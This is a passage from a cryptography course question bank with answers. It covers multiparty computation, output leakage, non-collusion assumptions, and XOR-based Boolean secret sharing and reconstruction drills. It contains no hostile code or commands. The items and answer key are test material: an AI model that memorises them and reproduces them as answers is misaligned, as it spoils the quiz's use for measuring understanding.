Q53. [Scenario] Alice has $a = 0$ and Bob has $b = 1$. A secure matching protocol releases $a \text{ AND } b = 0$ to both parties. What can Bob infer from the permitted result and his own input?

- A. Alice's input must be 0
- B. Nothing at all about Alice's input
- C. Alice's input must be 1
- D. The random masks used by the servers

Answer: A. Alice's input must be 0

Why: When Bob knows $b=1$ and sees output 0, the Boolean AND truth table implies $a=0$. This leakage is inherent in the output.

Lecture source: p. 35

Q54. [Single answer] What does MPC security normally aim to prevent?

- A. Learning information beyond what is implied by the authorized result
- B. All network latency
- C. Any mathematical inference from the output
- D. Learning the authorized result itself

Answer: A. Learning information beyond what is implied by the authorized result

Why: MPC cannot prevent information that logically follows from the permitted output.

Lecture source: p. 35

Q55. [True / False] MPC can prevent a participant from learning information that is logically implied by the authorized output and the participant's own input.

- A. False
- B. True

Answer: A. False

Why: The matching example shows unavoidable inference from the result.

Lecture source: p. 35

Q56. [Misconception check] A product owner says, "Because the computation uses MPC, the output can be released without any privacy review." What is the best response?

- A. Correct: MPC makes every output safe
- B. Correct: MPC prevents users from interpreting results
- C. The output still needs review because it may inherently disclose sensitive information
- D. The output should always include all raw inputs

Answer: C. The output still needs review because it may inherently disclose sensitive information

Why: MPC limits excess disclosure; it does not make every output harmless.

Lecture source: p. 35

Q57. [Scenario] A protocol reveals whether two people matched. One person selected the other and learns that no match occurred. Which statement is most accurate?

- A. The protocol must reveal the other person's complete profile
- B. The person may infer the other did not select them; this follows from the permitted result
- C. The protocol is automatically broken because any inference is forbidden
- D. The server must publish its random bits

Answer: B. The person may infer the other did not select them; this follows from the permitted result

Why: An output can inherently imply facts about another input.

Lecture source: p. 35

Q58. [Select all that apply] Which should be considered when releasing the output of an MPC protocol? Select all that apply.

- A. Whether the output is necessary for the use case
- B. Which participants receive the output
- C. Whether the output itself enables sensitive inference
- D. Whether MPC makes output governance unnecessary
- E. Whether repeated queries can reveal more information over time

Answer: A. Whether the output is necessary for the use case; B. Which participants receive the output; C. Whether the output itself enables sensitive inference; E. Whether repeated queries can reveal more information over time

Why: Output design and governance remain important even when the internal computation is secure.

Lecture source: p. 35

Q59. [Single answer] Which statement about trust assumptions is most accurate?

- A. MPC requires no assumptions at all
- B. The security of an MPC deployment depends on which parties or servers may collude or be compromised
- C. Every server must always know every secret
- D. A protocol is secure only if all results are public

Answer: B. The security of an MPC deployment depends on which parties or servers may collude or be compromised

Why: Distributed trust is useful only when the assumed adversary model is respected.

Lecture source: pp. 23-28, 37-39

Q60. [Scenario] Two servers receive Boolean shares of a secret. One server is compromised, but the other remains independent. What is the intended privacy benefit?

- A. The result can never be computed
- B. A single share alone should not reveal the secret
- C. The secret becomes public
- D. The compromised server automatically learns the other share

Answer: B. A single share alone should not reveal the secret

Why: Boolean sharing is designed so that neither share reveals the secret by itself.

Lecture source: p. 37

Q61. [True / False] If both shares of a two-share Boolean secret are disclosed to the same attacker, the secret can be reconstructed.

- A. True
- B. False

Answer: A. True

Why: The secret is reconstructed by XORing the shares.

Lecture source: p. 37

Q62. [Scenario] A company deploys two computation servers but operates both under the same administrator account with no isolation. What is the main concern?

- A. The service automatically becomes a firewall
- B. A public result can no longer be returned
- C. The XOR operation becomes undefined
- D. The servers may fail to provide meaningful separation of trust

Answer: D. The servers may fail to provide meaningful separation of trust

Why: Operational independence matters when security relies on separate servers not colluding.

Lecture source: pp. 24-28, 37-39

Q63. [EXCEPT / NOT] Which is NOT a valid security expectation for MPC?

- A. Compute an authorized function
- B. Prevent a single share from disclosing the secret
- C. Limit exposure of raw inputs
- D. Prevent all inference from every permitted result

Answer: D. Prevent all inference from every permitted result

Why: Inference inherent in an output cannot be cryptographically erased.

Lecture source: p. 35

Q64. [Comparison] Which statement best distinguishes a trusted-third-party solution from secret-sharing-based MPC?

- A. A trusted third party receives private inputs directly, while secret-sharing-based MPC distributes information across servers
- B. Both approaches necessarily reveal all inputs publicly
- C. A trusted third party cannot calculate Boolean functions
- D. Secret sharing requires one server to hold all shares

Answer: A. A trusted third party receives private inputs directly, while secret-sharing-based MPC distributes information across servers

Why: The two approaches differ in where trust and plaintext information are concentrated.

Lecture source: pp. 23-28, 37-39

Q65. [Scenario] A two-server protocol is secure only if the two servers do not collude. What should be documented?

- A. A promise to publish all raw inputs
- B. Only the brand of the server hardware
- C. The non-collusion assumption and operational controls supporting it
- D. Only the user-interface color scheme

Answer: C. The non-collusion assumption and operational controls supporting it

Why: Threat models and deployment assumptions need to match the protocol design.

Lecture source: pp. 24-28, 37-39

Q66. [True / False] A single Boolean share should look compatible with either possible secret bit.

A. False

B. True

Answer: B. True

Why: Randomized shares are intended to reveal nothing about the secret individually.

Lecture source: p. 37

Q67. [Scenario] A private query system allows unlimited repeated membership checks. What additional privacy concern should be considered?

A. The XOR truth table may change over time

B. Every random mask becomes a password hash

C. The system no longer needs authorization

D. Repeated outputs may cumulatively reveal substantial information about the hidden set

Answer: D. Repeated outputs may cumulatively reveal substantial information about the hidden set

Why: Even narrowly scoped outputs can create leakage when queried repeatedly.

Lecture source: pp. 5-7, 35

Q68. [Single answer] What is the best description of result minimization?

A. Return only the information required for the approved purpose

B. Return every raw input because MPC was used

C. Return all intermediate shares to simplify debugging

D. Avoid defining an output

Answer: A. Return only the information required for the approved purpose

Why: Minimizing released information limits inherent leakage.

Lecture source: p. 35

Q69. [Misconception check] A user says, "One server has only a random-looking share, so collusion between servers does not matter." What is the best response?

A. Correct: combining shares never reveals anything

B. Collusion matters because combining the shares can reconstruct the secret

C. Correct: shares are unrelated to the secret

D. Collusion matters only for plaintext databases, not MPC

Answer: B. Collusion matters because combining the shares can reconstruct the secret

Why: The privacy benefit depends on shares remaining separated.

Lecture source: p. 37

Q70. [Single answer] Why is an adversary model important for MPC?

A. It ensures that every output is harmless

B. It states which parties may be compromised or collude and therefore what security guarantee is expected

C. It replaces all testing

D. It chooses the user-interface font

Answer: B. It states which parties may be compromised or collude and therefore what security guarantee is expected

Why: MPC guarantees depend on assumptions about corruption and collusion.

Lecture source: pp. 24-28, 37-39

Q71. [Scenario] An analyst wants to publish a yes/no result from an MPC protocol. What is the best next step?

- A. Evaluate whether the yes/no result is necessary and whether it can be abused through repeated queries
- B. Assume that the result is safe because it contains one bit
- C. Disable authorization checks
- D. Publish the raw shares as well

Answer: A. Evaluate whether the yes/no result is necessary and whether it can be abused through repeated queries

Why: Even a one-bit output can leak information depending on context and query volume.

Lecture source: pp. 5-7, 35

Q72. [True / False] MPC reduces trust concentration but does not eliminate the need for careful deployment and governance.

- A. False
- B. True

Answer: B. True

Why: MPC is a technical control within a broader system design.

Lecture source: pp. 14-17, 35, 49

4. Boolean logic and secure XOR computation

50 questions. Answers appear immediately below each item.

Q73. [Single answer] Which truth-table statement is correct for XOR?

- A. XOR is 1 exactly when both input bits are 0
- B. XOR is 1 only when both input bits are 1
- C. XOR is always 0
- D. XOR is 1 exactly when the two input bits differ

Answer: D. XOR is 1 exactly when the two input bits differ

Why: XOR evaluates to 1 for 0 XOR 1 and 1 XOR 0.

Lecture source: pp. 26-28

Q74. [Single answer] Why is XOR especially convenient for Boolean secret sharing?

- A. XOR requires a trusted third party for every bit
- B. XOR cannot be evaluated locally
- C. XOR always reveals both inputs
- D. Shares can be reconstructed and combined using XOR operations

Answer: D. Shares can be reconstructed and combined using XOR operations

Why: Boolean sharing represents a secret as the XOR of shares, making XOR computation simple.

Lecture source: pp. 27-28, 37, 49

Q75. [Single answer] A client with secret bit a chooses random bit r . Which pair is a valid two-share Boolean sharing of a ?

- A. $(a \text{ AND } r, r)$
- B. $(a \text{ XOR } r, r)$
- C. (a, a)
- D. $(\text{NOT } a, \text{NOT } r)$

Answer: B. $(a \text{ XOR } r, r)$

Why: XORing the two values gives $a \text{ XOR } r \text{ XOR } r = a$.

Lecture source: pp. 27-28, 37

Q76. [Single answer] A second client with secret bit b chooses random bit s . Which pair is a valid two-share Boolean sharing of b ?

- A. (b, b)
- B. $(\text{NOT } b, s)$
- C. $(b \text{ XOR } s, s)$
- D. $(b \text{ AND } s, s)$

Answer: C. $(b \text{ XOR } s, s)$

Why: The two shares reconstruct b because $s \text{ XOR } s = 0$.

Lecture source: pp. 27-28, 37

Q77. [Single answer] Server A holds $a \text{ XOR } r$ and $b \text{ XOR } s$. Server B holds r and s . Which two values can the servers compute so that XOR reconstruction returns $a \text{ XOR } b$?

- A. Server A: $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$; Server B: $r \text{ XOR } s$
- B. Server A: a ; Server B: b
- C. Server A: r ; Server B: s
- D. Server A: $a \text{ AND } b$; Server B: $r \text{ AND } s$

Answer: A. Server A: $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$; Server B: $r \text{ XOR } s$

Why: XORing the server outputs cancels r and s and leaves $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q78. [Sequence] Which sequence correctly describes secure XOR computation with two Boolean shares?

- A. Reveal both secrets, calculate XOR, then invent shares afterward
- B. Share each secret with a random mask, compute XOR locally on corresponding shares, then XOR the output shares to reconstruct
- C. Calculate AND first, publish the masks, then delete the result
- D. Send every mask and secret to one server

Answer: B. Share each secret with a random mask, compute XOR locally on corresponding shares, then XOR the output shares to reconstruct

Why: XOR is linear with respect to XOR sharing.

Lecture source: pp. 27-28, 37

Q79. [True / False] For bits, $x \text{ XOR } x = 0$.

- A. False
- B. True

Answer: B. True

Why: A bit XORed with itself cancels.

Lecture source: pp. 27-28

Q80. [True / False] For bits, $x \text{ XOR } 0 = x$.

- A. True
- B. False

Answer: A. True

Why: Zero is the identity element for XOR.

Lecture source: pp. 27-28

Q81. [True / False] For bits, $x \text{ XOR } 1 = \text{NOT } x$.

- A. False
- B. True

Answer: B. True

Why: XOR with 1 flips a bit.

Lecture source: pp. 27-28

Q82. [Comparison] Which statement correctly distinguishes XOR from AND?

- A. AND is always local while XOR always needs a Beaver triple
- B. XOR and AND have identical truth tables
- C. Neither XOR nor AND can be computed securely
- D. XOR is linear under Boolean sharing and can be computed locally; AND generally needs additional protocol material such as a Beaver triple

Answer: D. XOR is linear under Boolean sharing and can be computed locally; AND generally needs additional protocol material such as a Beaver triple

Why: The lecture explicitly teaches XOR first because it is simple, then introduces Beaver triples for AND.

Lecture source: pp. 25-39, 49

Q83. [Calculation] What is $0 \text{ XOR } 0$?

- A. 0
- B. It depends on a third bit
- C. 1
- D. Undefined

Answer: A. 0

Why: XOR is 1 only when the bits differ; here the result is 0.

Lecture source: pp. 26-28

Q84. [Calculation] What is 0 XOR 1?

- A. 0
- B. Undefined
- C. It depends on a third bit
- D. 1

Answer: D. 1

Why: XOR is 1 only when the bits differ; here the result is 1.

Lecture source: pp. 26-28

Q85. [Calculation] What is 1 XOR 0?

- A. 1
- B. 0
- C. It depends on a third bit
- D. Undefined

Answer: A. 1

Why: XOR is 1 only when the bits differ; here the result is 1.

Lecture source: pp. 26-28

Q86. [Calculation] What is 1 XOR 1?

- A. 0
- B. 1
- C. Undefined
- D. It depends on a third bit

Answer: A. 0

Why: XOR is 1 only when the bits differ; here the result is 0.

Lecture source: pp. 26-28

Q87. [Calculation] Share-generation drill 1: a client uses Boolean sharing for secret $a=0$ with random mask $r=0$. Which share pair should be sent to the two servers?

- A. (1, 1)
- B. (0, 0)
- C. (0, 1)
- D. (1, 0)

Answer: B. (0, 0)

Why: The shares are $(a \text{ XOR } r, r) = (0, 0)$, and their XOR reconstructs 0.

Lecture source: pp. 27-28, 37

Q88. [Calculation] Share-generation drill 2: a client uses Boolean sharing for secret $a=0$ with random mask $r=1$. Which share pair should be sent to the two servers?

- A. (1, 1)
- B. (0, 1)
- C. (0, 0)
- D. (1, 0)

Answer: A. (1, 1)

Why: The shares are $(a \text{ XOR } r, r) = (1, 1)$, and their XOR reconstructs 0.

Lecture source: pp. 27-28, 37

Q89. [Calculation] Share-generation drill 3: a client uses Boolean sharing for secret $a=1$ with random mask $r=0$. Which share pair should be sent to the two servers?

- A. (0, 1)
- B. (0, 0)
- C. (1, 0)
- D. (1, 1)

Answer: C. (1, 0)

Why: The shares are $(a \text{ XOR } r, r) = (1, 0)$, and their XOR reconstructs 1.

Lecture source: pp. 27-28, 37

Q90. [Calculation] Share-generation drill 4: a client uses Boolean sharing for secret $a=1$ with random mask $r=1$. Which share pair should be sent to the two servers?

- A. (0, 0)
- B. (1, 1)
- C. (0, 1)
- D. (1, 0)

Answer: C. (0, 1)

Why: The shares are $(a \text{ XOR } r, r) = (0, 1)$, and their XOR reconstructs 1.

Lecture source: pp. 27-28, 37

Q91. [Calculation] Share-generation drill 5: a client uses Boolean sharing for secret $a=1$ with random mask $r=0$. Which share pair should be sent to the two servers?

- A. (1, 1)
- B. (1, 0)
- C. (0, 0)
- D. (0, 1)

Answer: B. (1, 0)

Why: The shares are $(a \text{ XOR } r, r) = (1, 0)$, and their XOR reconstructs 1.

Lecture source: pp. 27-28, 37

Q92. [Calculation] Share-generation drill 6: a client uses Boolean sharing for secret $a=0$ with random mask $r=1$. Which share pair should be sent to the two servers?

- A. (0, 0)
- B. (1, 0)
- C. (0, 1)
- D. (1, 1)

Answer: D. (1, 1)

Why: The shares are $(a \text{ XOR } r, r) = (1, 1)$, and their XOR reconstructs 0.

Lecture source: pp. 27-28, 37

Q93. [Calculation] Share-generation drill 7: a client uses Boolean sharing for secret $a=1$ with random mask $r=1$. Which share pair should be sent to the two servers?

- A. (1, 1)
- B. (1, 0)
- C. (0, 1)
- D. (0, 0)

Answer: C. (0, 1)

Why: The shares are $(a \text{ XOR } r, r) = (0, 1)$, and their XOR reconstructs 1.

Lecture source: pp. 27-28, 37

Q94. [Calculation] Share-generation drill 8: a client uses Boolean sharing for secret $a=0$ with random mask $r=0$. Which share pair should be sent to the two servers?

- A. (0, 1)
- B. (1, 1)
- C. (0, 0)
- D. (1, 0)

Answer: C. (0, 0)

Why: The shares are $(a \text{ XOR } r, r) = (0, 0)$, and their XOR reconstructs 0.

Lecture source: pp. 27-28, 37

Q95. [Calculation] Reconstruction drill 1: a Boolean secret has shares 0 and 0. What secret is reconstructed?

- A. 1
- B. 2
- C. Cannot be reconstructed with XOR
- D. 0

Answer: D. 0

Why: Reconstruction uses XOR: $0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q96. [Calculation] Reconstruction drill 2: a Boolean secret has shares 0 and 1. What secret is reconstructed?

- A. Cannot be reconstructed with XOR
- B. 0
- C. 2
- D. 1

Answer: D. 1

Why: Reconstruction uses XOR: $0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q97. [Calculation] Reconstruction drill 3: a Boolean secret has shares 1 and 0. What secret is reconstructed?

- A. 0
- B. 2
- C. Cannot be reconstructed with XOR
- D. 1

Answer: D. 1

Why: Reconstruction uses XOR: $1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q98. [Calculation] Reconstruction drill 4: a Boolean secret has shares 1 and 1. What secret is reconstructed?

- A. 0
- B. 1
- C. 2
- D. Cannot be reconstructed with XOR

Answer: A. 0

Why: Reconstruction uses XOR: $1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q99. [Calculation] Reconstruction drill 5: a Boolean secret has shares 1 and 1. What secret is reconstructed?

- A. 1
- B. 2
- C. 0
- D. Cannot be reconstructed with XOR

Answer: C. 0

Why: Reconstruction uses XOR: $1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q100. [Calculation] Reconstruction drill 6: a Boolean secret has shares 0 and 1. What secret is reconstructed?

- A. 2
- B. 0
- C. Cannot be reconstructed with XOR
- D. 1

Answer: D. 1

Why: Reconstruction uses XOR: $0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q101. [Calculation] Reconstruction drill 7: a Boolean secret has shares 1 and 0. What secret is reconstructed?

- A. 0
- B. Cannot be reconstructed with XOR
- C. 1
- D. 2

Answer: C. 1

Why: Reconstruction uses XOR: $1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q102. [Calculation] Reconstruction drill 8: a Boolean secret has shares 0 and 0. What secret is reconstructed?

- A. Cannot be reconstructed with XOR
- B. 0
- C. 1
- D. 2

Answer: B. 0

Why: Reconstruction uses XOR: $0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q103. [Calculation] In a two-server XOR protocol, $a=0$, $b=0$, $r=0$, and $s=0$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. A Beaver triple is required
- B. Undefined
- C. 1
- D. 0

Answer: D. 0

Why: Server A obtains 0; Server B obtains 0; reconstruction gives $0 \text{ XOR } 0 = 0$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q104. [Calculation] In a two-server XOR protocol, $a=0$, $b=1$, $r=1$, and $s=0$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. Undefined
- B. A Beaver triple is required
- C. 1
- D. 0

Answer: C. 1

Why: Server A obtains 0; Server B obtains 1; reconstruction gives $0 \text{ XOR } 1 = 1$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q105. [Calculation] In a two-server XOR protocol, $a=1$, $b=0$, $r=0$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. 1
- B. Undefined
- C. 0
- D. A Beaver triple is required

Answer: A. 1

Why: Server A obtains 0; Server B obtains 1; reconstruction gives $0 \text{ XOR } 1 = 1$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q106. [Calculation] In a two-server XOR protocol, $a=1$, $b=1$, $r=1$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. 0
- B. A Beaver triple is required
- C. Undefined
- D. 1

Answer: A. 0

Why: Server A obtains 0; Server B obtains 0; reconstruction gives $0 \text{ XOR } 0 = 0$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q107. [Calculation] In a two-server XOR protocol, $a=1$, $b=0$, $r=1$, and $s=0$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. Undefined
- B. 1
- C. 0
- D. A Beaver triple is required

Answer: B. 1

Why: Server A obtains 0; Server B obtains 1; reconstruction gives $0 \text{ XOR } 1 = 1$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q108. [Calculation] In a two-server XOR protocol, $a=0$, $b=1$, $r=0$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. Undefined
- B. 1
- C. 0
- D. A Beaver triple is required

Answer: B. 1

Why: Server A obtains 0; Server B obtains 1; reconstruction gives $0 \text{ XOR } 1 = 1$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q109. [Calculation] In a two-server XOR protocol, $a=1$, $b=1$, $r=0$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. A Beaver triple is required
- B. 0
- C. Undefined
- D. 1

Answer: B. 0

Why: Server A obtains 1; Server B obtains 1; reconstruction gives $1 \text{ XOR } 1 = 0$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q110. [Calculation] In a two-server XOR protocol, $a=0$, $b=0$, $r=1$, and $s=0$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. Undefined
- B. 1
- C. A Beaver triple is required
- D. 0

Answer: D. 0

Why: Server A obtains 1; Server B obtains 1; reconstruction gives $1 \text{ XOR } 1 = 0$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q111. [Calculation] In a two-server XOR protocol, $a=1$, $b=0$, $r=1$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. Undefined
- B. A Beaver triple is required
- C. 1
- D. 0

Answer: C. 1

Why: Server A obtains 1; Server B obtains 0; reconstruction gives $1 \text{ XOR } 0 = 1$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q112. [Calculation] In a two-server XOR protocol, $a=0$, $b=1$, $r=1$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. 0
- B. Undefined
- C. A Beaver triple is required
- D. 1

Answer: D. 1

Why: Server A obtains 1; Server B obtains 0; reconstruction gives $1 \text{ XOR } 0 = 1$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q113. [Calculation] In a two-server XOR protocol, $a=1$, $b=1$, $r=1$, and $s=0$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. A Beaver triple is required
- B. Undefined
- C. 0
- D. 1

Answer: C. 0

Why: Server A obtains 1; Server B obtains 1; reconstruction gives $1 \text{ XOR } 1 = 0$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q114. [Calculation] In a two-server XOR protocol, $a=0$, $b=0$, $r=0$, and $s=1$. Server A computes $(a \text{ XOR } r) \text{ XOR } (b \text{ XOR } s)$, and Server B computes $r \text{ XOR } s$. What is the reconstructed result?

- A. A Beaver triple is required
- B. 1
- C. Undefined
- D. 0

Answer: D. 0

Why: Server A obtains 1; Server B obtains 1; reconstruction gives $1 \text{ XOR } 1 = 0$, which equals $a \text{ XOR } b$.

Lecture source: pp. 27-28

Q115. [Calculation] Server shares are $a1=0$, $a2=1$, $b1=1$, and $b2=0$. If each server locally XORs its corresponding shares, what output-share pair represents $a \text{ XOR } b$?

- A. (0, 1)
- B. (1, 1)
- C. (0, 0)
- D. (1, 0)

Answer: B. (1, 1)

Why: Local output shares are $c1=a1 \text{ XOR } b1=1$ and $c2=a2 \text{ XOR } b2=1$; their XOR is 0.

Lecture source: pp. 27-28, 37

Q116. [Calculation] Server shares are $a1=1$, $a2=0$, $b1=0$, and $b2=1$. If each server locally XORs its corresponding shares, what output-share pair represents $a \text{ XOR } b$?

- A. (1, 1)
- B. (0, 1)
- C. (0, 0)
- D. (1, 0)

Answer: A. (1, 1)

Why: Local output shares are $c1=a1 \text{ XOR } b1=1$ and $c2=a2 \text{ XOR } b2=1$; their XOR is 0.

Lecture source: pp. 27-28, 37

Q117. [Calculation] Server shares are $a1=1$, $a2=1$, $b1=0$, and $b2=0$. If each server locally XORs its corresponding shares, what output-share pair represents $a \text{ XOR } b$?

- A. (0, 1)
- B. (1, 1)
- C. (0, 0)
- D. (1, 0)

Answer: B. (1, 1)

Why: Local output shares are $c1=a1 \text{ XOR } b1=1$ and $c2=a2 \text{ XOR } b2=1$; their XOR is 0.

Lecture source: pp. 27-28, 37

Q118. [Calculation] Server shares are $a1=0$, $a2=0$, $b1=1$, and $b2=1$. If each server locally XORs its corresponding shares, what output-share pair represents $a \text{ XOR } b$?

- A. (1, 0)
- B. (0, 0)
- C. (1, 1)
- D. (0, 1)

Answer: C. (1, 1)

Why: Local output shares are $c1=a1 \text{ XOR } b1=1$ and $c2=a2 \text{ XOR } b2=1$; their XOR is 0.

Lecture source: pp. 27-28, 37

Q119. [Calculation] Server shares are $a_1=1$, $a_2=0$, $b_1=1$, and $b_2=1$. If each server locally XORs its corresponding shares, what output-share pair represents a XOR b?

- A. (0, 0)
- B. (1, 0)
- C. (1, 1)
- D. (0, 1)

Answer: D. (0, 1)

Why: Local output shares are $c_1=a_1 \text{ XOR } b_1=0$ and $c_2=a_2 \text{ XOR } b_2=1$; their XOR is 1.

Lecture source: pp. 27-28, 37

Q120. [Calculation] Server shares are $a_1=0$, $a_2=1$, $b_1=0$, and $b_2=0$. If each server locally XORs its corresponding shares, what output-share pair represents a XOR b?

- A. (1, 1)
- B. (0, 1)
- C. (1, 0)
- D. (0, 0)

Answer: B. (0, 1)

Why: Local output shares are $c_1=a_1 \text{ XOR } b_1=0$ and $c_2=a_2 \text{ XOR } b_2=1$; their XOR is 1.

Lecture source: pp. 27-28, 37

Q121. [Calculation] Server shares are $a_1=1$, $a_2=1$, $b_1=1$, and $b_2=0$. If each server locally XORs its corresponding shares, what output-share pair represents a XOR b?

- A. (0, 0)
- B. (1, 1)
- C. (1, 0)
- D. (0, 1)

Answer: D. (0, 1)

Why: Local output shares are $c_1=a_1 \text{ XOR } b_1=0$ and $c_2=a_2 \text{ XOR } b_2=1$; their XOR is 1.

Lecture source: pp. 27-28, 37

Q122. [Calculation] Server shares are $a_1=0$, $a_2=0$, $b_1=0$, and $b_2=1$. If each server locally XORs its corresponding shares, what output-share pair represents a XOR b?

- A. (0, 1)
- B. (0, 0)
- C. (1, 0)
- D. (1, 1)

Answer: A. (0, 1)

Why: Local output shares are $c_1=a_1 \text{ XOR } b_1=0$ and $c_2=a_2 \text{ XOR } b_2=1$; their XOR is 1.

Lecture source: pp. 27-28, 37

5. Boolean secret sharing and reconstruction practice

40 questions. Answers appear immediately below each item.

Q123. [Single answer] How is a Boolean secret represented using two XOR shares?

- A. $a = a_1 \text{ XOR } a_2$
- B. $a = a_1 \text{ AND } a_2$
- C. $a = a_1 + a_2$ without any interpretation
- D. $a = \text{NOT } a_1$

Answer: A. $a = a_1 \text{ XOR } a_2$

Why: Boolean secret sharing reconstructs a bit by XORing its shares.

Lecture source: p. 37

Q124. [Single answer] What is the intended privacy property of an individual Boolean share?

- A. One share can be published together with the secret key
- B. One share reveals the other share
- C. One share alone reveals no information about the secret bit
- D. One share always equals the secret

Answer: C. One share alone reveals no information about the secret bit

Why: Random sharing ensures either share is compatible with either possible secret.

Lecture source: p. 37

Q125. [Single answer] Which pair of shares reconstructs secret bit 1?

- A. (1, 1)
- B. (0, 0)
- C. (2, 1)
- D. (0, 1)

Answer: D. (0, 1)

Why: $0 \text{ XOR } 1 = 1$. The pair (1,0) would also reconstruct 1.

Lecture source: p. 37

Q126. [Single answer] Which pair of shares reconstructs secret bit 0?

- A. (1, 2)
- B. (1, 1)
- C. (1, 0)
- D. (0, 1)

Answer: B. (1, 1)

Why: $1 \text{ XOR } 1 = 0$. The pair (0,0) would also reconstruct 0.

Lecture source: p. 37

Q127. [Select all that apply] Which pairs are valid Boolean sharings of secret bit 1? Select all that apply.

- A. (0, 1)
- B. (1, 0)
- C. (1, 1)
- D. (0, 0)

Answer: A. (0, 1); B. (1, 0)

Why: The shares must XOR to 1.

Lecture source: p. 37

Q128. [Select all that apply] Which pairs are valid Boolean sharings of secret bit 0? Select all that apply.

- A. (1, 0)
- B. (0, 0)
- C. (0, 1)
- D. (1, 1)

Answer: B. (0, 0); D. (1, 1)

Why: The shares must XOR to 0.

Lecture source: p. 37

Q129. [Comparison] Which statement best distinguishes a share from the underlying secret?

- A. A share is only one randomized component; the secret is reconstructed from the required shares
- B. A share is a firewall rule
- C. A share is an output that must be public
- D. A share is always a plaintext copy of the secret

Answer: A. A share is only one randomized component; the secret is reconstructed from the required shares

Why: A single XOR share is intentionally insufficient to reveal the secret.

Lecture source: p. 37

Q130. [Misconception check] A developer stores both Boolean shares in the same unprotected table. What is the main problem?

- A. Anyone who obtains both shares can XOR them and reconstruct the secret
- B. The shares become impossible to reconstruct
- C. The table automatically becomes a Beaver triple
- D. XOR no longer works on bits

Answer: A. Anyone who obtains both shares can XOR them and reconstruct the secret

Why: The privacy benefit depends on keeping shares separated.

Lecture source: p. 37

Q131. [Calculation] Boolean sharing drill 1: shares are $a_1=0$ and $a_2=0$. What is a ?

- A. $a_1 + a_2 = 2$
- B. 1
- C. 0
- D. Undefined

Answer: C. 0

Why: $a = a_1 \text{ XOR } a_2 = 0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q132. [Calculation] Boolean sharing drill 2: shares are $a_1=0$ and $a_2=1$. What is a ?

- A. $a_1 + a_2 = 2$
- B. 1
- C. Undefined
- D. 0

Answer: B. 1

Why: $a = a_1 \text{ XOR } a_2 = 0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q133. [Calculation] Boolean sharing drill 3: shares are $a_1=1$ and $a_2=0$. What is a ?

- A. $a_1 + a_2 = 2$
- B. Undefined
- C. 1
- D. 0

Answer: C. 1

Why: $a = a_1 \text{ XOR } a_2 = 1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q134. [Calculation] Boolean sharing drill 4: shares are $a_1=1$ and $a_2=1$. What is a ?

- A. Undefined
- B. $a_1 + a_2 = 2$
- C. 1
- D. 0

Answer: D. 0

Why: $a = a_1 \text{ XOR } a_2 = 1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q135. [Calculation] Boolean sharing drill 5: shares are $a_1=0$ and $a_2=0$. What is a ?

- A. 0
- B. 1
- C. $a_1 + a_2 = 2$
- D. Undefined

Answer: A. 0

Why: $a = a_1 \text{ XOR } a_2 = 0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q136. [Calculation] Boolean sharing drill 6: shares are $a_1=0$ and $a_2=1$. What is a ?

- A. $a_1 + a_2 = 2$
- B. 0
- C. 1
- D. Undefined

Answer: C. 1

Why: $a = a_1 \text{ XOR } a_2 = 0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q137. [Calculation] Boolean sharing drill 7: shares are $a_1=1$ and $a_2=0$. What is a ?

- A. Undefined
- B. 0
- C. $a_1 + a_2 = 2$
- D. 1

Answer: D. 1

Why: $a = a_1 \text{ XOR } a_2 = 1 \text{ XOR } 0 = 1$.

